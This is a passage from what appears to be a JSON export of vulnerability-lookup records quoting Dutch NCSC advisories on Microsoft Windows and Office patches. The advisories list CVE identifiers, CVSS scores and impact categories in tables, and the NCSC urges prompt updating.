\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:27.976214Z"}, {"uuid": "bf5ee4f6-e8e1-4b2b-bd46-cd63afcbd5f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48580", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-14T19:00:57.521346Z"}, {"uuid": "0dabc91b-800a-4f9f-9cd5-7dbafd6ef06a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48571", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | 